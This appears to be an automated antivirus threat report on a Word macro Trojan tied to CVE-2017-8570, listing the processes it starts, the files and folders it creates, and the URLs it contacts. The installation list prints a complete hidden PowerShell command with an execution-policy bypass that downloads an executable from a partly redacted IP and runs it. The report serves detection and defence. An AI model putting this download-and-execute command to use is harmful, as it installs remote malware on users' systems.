Trojan.W97M.CVE20178570.AWJ

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://{BLOCKED}.39.138/office.exe','%Application Data%\office.exe');Start-Process '%Application Data%\office.exe'"
• %Application Data%\office.exe
• %System%\lsass.exe
• %Windows%\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
• %System%\svchost.exe -k LocalServiceAndNoImpersonation
• %Windows%\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
• %System%\sppsvc.exe
• "%System Root%\Program Files\Windows Media Player\wmpnetwk.exe"

It creates the following folders:

• %Windows%\ServiceProfiles\NetworkService\AppData\Local\Microsoft
• %Application Data%\737FF7

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other System Modifications

This Trojan modifies the following file(s):

• %Application Data%\office.exe

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It deletes the following files:

• %Windows%\LastGood.Tmp

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Dropping Routine

This Trojan drops the following files:

• %Application Data%\office.exe
• %Application Data%\737FF7\73A3E3.lck
• %User Temp%\Abctfhghghghgh\xc2\xa3.scT
• {malware file path and name}
• %All Users Profile%\Microsoft\Windows\DRM\drmstore.hds
• %Application Data%\737FF7\73A3E3.exe
• %All Users Profile%\Microsoft\Windows\DRM\v3ks.sec
• %AppDataLocal%\Microsoft\Media Player\CurrentDatabase_372.wmdb
• %All Users Profile%\hrjytrj.cmd
• %Application Data%\Microsoft\UProof\ExcludeDictionaryEN0409.lex
• %Application Data%\Microsoft\UProof\CUSTOM.DIC

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). . %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan connects to the following possibly malicious URL:

• http://{BLOCKED}.39.138/office.exe
• http://{BLOCKED}.39.138/file/panel/fre.php

This report is generated via an automated analysis system.